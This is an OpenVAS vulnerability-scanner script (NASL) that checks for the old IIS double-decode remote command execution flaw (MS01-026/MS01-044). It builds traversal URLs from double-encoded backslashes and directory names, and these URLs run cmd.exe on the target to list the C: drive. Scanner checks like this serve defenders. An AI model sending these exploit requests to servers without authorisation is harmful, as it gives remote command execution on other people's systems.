IIS Remote Command Execution

# OpenVAS Vulnerability Test
# $Id: iis_decode_bug.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: IIS Remote Command Execution
#
# Authors:
# Matt Moore ([email protected])
# derived from the NASL script to test for the UNICODE directory traversal 
# vulnerability, originally written by Renaud Deraison.
# Then Renaud took Matt's script and used H D Moore modifications
# to iis_dir_traversal.nasl ;)
#
# Copyright:
# Copyright (C) 2001 Matt Moore / H D Moore
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "When IIS receives a user request to run a script, it renders
the request in a decoded canonical form, then performs
security checks on the decoded request. A vulnerability
results because a second, superfluous decoding pass is
performed after the initial security checks are completed.
Thus, a specially crafted request could allow an attacker to
execute arbitrary commands on the IIS Server.";

tag_solution = "See MS advisory MS01-026(Superseded by ms01-044)
See http://www.microsoft.com/technet/security/bulletin/ms01-044.mspx";

if(description)
{
 script_id(10671);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_xref(name:"IAVA", value:"2001-a-0006");
 script_bugtraq_id(2708, 3193);
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_cve_id("CVE-2001-0507", "CVE-2001-0333");

 name = "IIS Remote Command Execution";
 script_name(name);
 
 
 script_category(ACT_GATHER_INFO);
  script_tag(name:"qod_type", value:"remote_vul");
 script_copyright("This script is Copyright (C) 2001 Matt Moore / H D Moore");
 family = "Web Servers";
 script_family(family);
 script_dependencies("gb_get_http_banner.nasl");
 script_mandatory_keys("IIS/banner");
 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

banner = get_http_banner(port:port);
if ( "Microsoft/IIS" >!< banner ) exit(0);

if(!get_port_state(port))exit(0);


dir[0] = "/scripts/";
dir[1] = "/msadc/";
dir[2] = "/iisadmpwd/";
dir[3] = "/_vti_bin/";		# FP
dir[4] = "/_mem_bin/";		# FP
dir[5] = "/exchange/";		# OWA
dir[6] = "/pbserver/";		# Win2K
dir[7] = "/rpc/";		# Win2K
dir[8] = "/cgi-bin/";
dir[9] = "/";

uni[0] = "%255c";  	dots[0] = "..";
uni[1] = "%%35c";	dots[1] = "..";
uni[2] = "%%35%63";	dots[2] = "..";
uni[3] = "%25%35%63";   dots[3] = "..";
uni[4] = "%252e";	dots[4] = "/.";




function check(req)
{
 r = http_keepalive_send_recv(port:port, data:http_get(item:req, port:port));
 if(r == NULL)
 { 
  exit(0);
 }

 pat = "<DIR>";
 pat2 = "Directory of C";

 if((pat >< r) || (pat2 >< r)){
   	security_message(port:port);
	return(1);
 	}
 return(0);
}


cmd = "/winnt/system32/cmd.exe?/c+dir+c:\\+/OG";
for(d=0;dir[d];d=d+1)
{
	for(i=0;uni[i];i=i+1)
	{
		url = string(dir[d], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], dots[i], cmd);
		if(check(req:url))exit(0);
	}
}


# Slight variation- do the same, but don't put dots[i] in front
# of cmd (reported on vuln-dev)

for(d=0;dir[d];d=d+1)
{
	for(i=0;uni[i];i=i+1)
	{
		url = string(dir[d], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], dots[i], uni[i], cmd);
		if(check(req:url))exit(0);
	}
}